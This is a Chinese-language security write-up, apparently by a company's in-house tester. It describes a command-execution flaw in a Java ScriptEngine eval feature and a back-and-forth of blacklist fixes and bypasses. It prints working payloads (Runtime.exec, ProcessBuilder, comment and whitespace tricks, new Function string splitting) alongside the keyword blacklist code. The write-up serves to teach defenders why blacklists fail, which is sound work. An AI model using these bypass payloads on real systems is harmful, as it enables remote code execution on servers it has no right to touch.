前几天做安全测试,发现了一个可以执行js代码的地方,然后通过代码审计发现存在命令执行。作为甲方公司安全人员,如何攻击和修复都需要考虑。一边思考着让开发如何修,一边想着如何绕过修好的黑名单,于是一场左右手的博弈就这样悄无声息地开始了。
当时通过代码审计,发现执行js之前会有一个简单的正则校验,主要检查是否存在字段: function mainOutput(){} 。如果传入的字符串符合正则就会调用 javax.script.ScriptEngine
类来解析js并执行js代码。
//正则表达式 String JAVASCRIPT_MAIN="[\\s\\S]*"+"function"+"\\s+"+"mainOutput"+"[\\s\\S]*"; //传入的字符串 String test="print('hello word!!');function mainOutput() {}"; //代码执行的地方 if (Pattern.matches(JAVASCRIPT_MAIN,test)){ ScriptEngineManager manager = new ScriptEngineManager(null); ScriptEngine engine = manager.getEngineByName("js"); engine.eval(test); }
因为scriptEngine的相关特性,可以执行java代码,所以当我们把test替换为如下代码,就可以命令执行了。
String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};";
至此,我已经发现了这个比较简单的命令执行漏洞,然后我写了报告,觉得已经完事了。但是,事情不是这么发展的。因为解决这个问题的根本方法是底层做沙箱,或者上js沙箱。但是底层沙箱和js沙箱都做不到,一个过于复杂另外一个过于影响效率(效率降低了10倍,这是一个产品不能接受的)。
所以我们就需要找到一个其他方法了,新的思路就是黑名单或者白名单。为了灵活性(灵活性是安全的最大敌人),为了客户方便,不可能采取白名单,所以只能使用黑名单了。
这是开发第一次发给我的代码,可以看出来,使用黑名单对一些关键字做了一些过滤。这些关键字都来自于阿里云的java沙箱整合的关键字。链接地址:
https://github.com/AlibabaCloudDocs/odps/blob/master/cn.zh-CN/%E7%94%A8%E6%88%B7%E6%8C%87%E5%8D%97/Java%E6%B2%99%E7%AE%B1.md
class KeywordCheckUtils { private static final Set<String> blacklist = Sets.newHashSet( // Java 全限定类名 "java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream", "java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty", "java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress", "java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket", "java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection", "java.security.AccessControlContext", // JavaScript 方法 "eval", "new function"); public KeywordCheckUtils() { // 空构造方法 } public static void checkInsecureKeyword(String code) throws Exception { Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(code, s)).collect(Collectors.toSet()); if (!CollectionUtils.isEmpty(insecure)) { throw new Exception("输入字符串不是安全的"); }else{ ScriptEngineManager manager = new ScriptEngineManager(null); ScriptEngine engine = manager.getEngineByName("js"); engine.eval(code); } } }
我们可以清楚地看到。Runtime
类被禁用了,有没有一些没有被禁用的函数呢,有没有一些可能绕过的思路呢?
我的第二次攻击就开始了。
我找到了新的可以使用的函数ProcessBuilder和使用注释绕过的方法。
//黑名单中没有注释的类 String test="var a = mainOutput(); function mainOutput() { var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();return true;};"; //在点两边可以添加注释绕过过滤 String test="var a = mainOutput(); function mainOutput() { var x=java.lang./****/Runtime.getRuntime().exec(\"calc\");};";
过了一会研发给我发了新的检测类,可以看到它主要做了两个处理,过滤了注释和多个空格换一个。
import com.google.common.collect.Sets; import java.util.Set; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; import org.springframework.util.CollectionUtils; public class KeywordCheckUtils { private static final Set<String> blacklist = Sets.newHashSet( // Java 全限定类名 "java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream", "java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty", "java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress", "java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket", "java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection", "java.security.AccessControlContext", "java.lang.ProcessBuilder", // JavaScript 方法 "eval","new function"); private KeywordCheckUtils() { // 空构造方法 } public static void checkInsecureKeyword(String code) { // 去除注释 String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", ""); // 多个空格替换为一个 String finalCode = StringUtils.replacePattern(removeComment, "\\s+", " "); Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(finalCode, s)) .collect(Collectors.toSet()); if (!CollectionUtils.isEmpty(insecure)) { throw new Exception("输入字符串不是安全的"); } } }
为什么要这么做呢?因为黑名单中有一个new function。为了检测new function,所以他多个空格换成一个空格。到这里我就突然想到了空格,既然注释可以绕过,空格是不是也可以绕过呢。然后就绕过了。
String test="var a = mainOutput(); function mainOutput() { var x=java.lang. Runtime.getRuntime().exec(\"calc\");};";
因为其他内容未做改变,所以只贴出改变的内容。最后的过滤呢,先过滤了注释,然后在去匹配过滤空格和剩下一个空格的。
这一步的操作就是为了匹配new function。
// 去除注释 String removeComment = StringUtils.replacePattern(code, "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", ""); // 去除空格 String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", ""); // 多个空格替换为一个 String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " "); Set<String> insecure = blacklist.stream().filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) || StringUtils.containsIgnoreCase(oneWhiteSpace, s)).collect(Collectors.toSet());
为什么要禁用new function呢?这是因为js的特性,可以使用js返回一个新的对象,如下面的字符串。可以看到这种情况就很难通过字符串匹配来过滤了。
var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')(); x.command("calc"); x.start(); var a = mainOutput(); function mainOutput() {};
黑名单总是存在潜在的风险,总会出现新的绕过思路。而白名单就比黑名单好很多,但是又失去了很多灵活性。